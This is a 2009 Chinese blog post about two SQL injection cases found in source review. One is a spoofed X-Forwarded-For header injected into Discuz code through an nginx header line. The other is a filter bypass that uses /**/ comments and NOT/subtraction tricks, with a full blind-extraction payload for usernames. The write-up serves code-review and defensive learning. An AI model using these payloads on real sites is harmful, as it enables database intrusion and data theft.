Wednesday, December 16, 2009

两个注入的案例

同一个系统,看了看源码,发现两个问题。

1 IP的获取方式以及 HTTP_X_FORWARDED_FOR 过滤
这块儿,纯属之前测试微博内网接口外部访问成功之后,无聊得放不下,天然的敏感。
相关测试,见 这里

这次看到这个系统的一个用户界面,使用以前提到过的IP判断规则(简单说就是 HTTP_X_FORWARDED_FOR ? HTTP_X_FORWARDED_FOR : REMOTE_ADDR ) 来获取IP。
<?php
if ( $_SERVER['HTTP_X_FORWARDED_FOR'] != "" ) {
 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if ( getenv( "REMOTE_ADDR" ) != "" ) {
 $ip = getenv( "REMOTE_ADDR" );
} else {
 $ip = "";
}

而后,在某个INSERT中,使用了这个$ip值。
<?php
$query = "INSER INTO ... SET ..., `ip`='".$ip."'";

问题其实很明显了。
HTTP_X_FORWARDED_FOR 这个头是可以人工加的。这点上边提到的文章里已经做过测试。这里唯一还要测试的,是如果构造畸形的数据,例如“127.0.0.1' -- ;”,或者简单点“127.0.0.1'”看看sql会不会出错。
想到这点,赶紧拿联盟的代码测试了下,结果出错了
Discuz! info: MySQL Query Error

Time: 2009-12-16 3:15pm
Script: /home.php

SQL: SELECT sid, status, username AS sessionuser, groupid, styleid, wordsonly FROM cdb_sessions WHERE sid='Gz0uB3lI' AND ip='127.0.0.1' and 1=1, 219.142.118.227, 10.1.10.5'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 219.142.118.227, 10.1.10.5'' at line 1
Errno.: 1064

Similar error report has beed dispatched to administrator before.
我在nginx里配的
proxy_set_header        X-Forwarded-For "127.0.0.1' and 1=1";

看到这里,立马给IP加了一次过滤。

于是再次和微博代码里的那个IP获取的方式做了比较:
与这里的代码获取方式相比,微博的代码中,对 HTTP_X_FORWARDED_FOR 的IP格式作了一次匹配,取出了一个符合IPv4规则的地址,也就是这个长串的第一部分,并没有简单地使用 ', ' 进行 explode。好处在于格式是确定的,不会因为IP格式收类似攻击;而不好的一点是,这样的处理方式,可以使用 HTTP_X_FORWARDED_FOR 进行IP欺骗。


2 变态的过滤。
这个变态过滤规则我记得之前提到过,基本代码如下:
<?php
function filter($str)
{
 $str = str_replace( array(" ", "'"), array(" ", '‘'), $str );
 $str = str_replace(arrau("%","&","|","=","+","\t","\r",), "", $str);
 return $str;
}

第一眼看到这个过滤,已然疯了。连 +=|&% 都过滤了,实在是变态。尤其是=,这个一过滤,即便有注入也很难,因为 1=1,1=2 已经不再有用了,更何况field=1这样的判断。
等等,真的不可用么?
1=1,1=2很好理解,只要这里等号两端没有空格,过滤之后数据应该是 11 或 12,形如
SELECT * FROM `tbl` WHERE 12
这样的语句很明显没问题,空格、跳格、回车被过滤了,那就\n或者/**/呗。
至于 field=1的判断。。。
hmm...
其实挺简单。
这些是以前写的
0/**/OR/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101


/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101

很难看是吧,能用就行了呗,自己写个代码拼串也不难,只是别把串弄得超过4k就行。


# EOF

No comments:

Post a Comment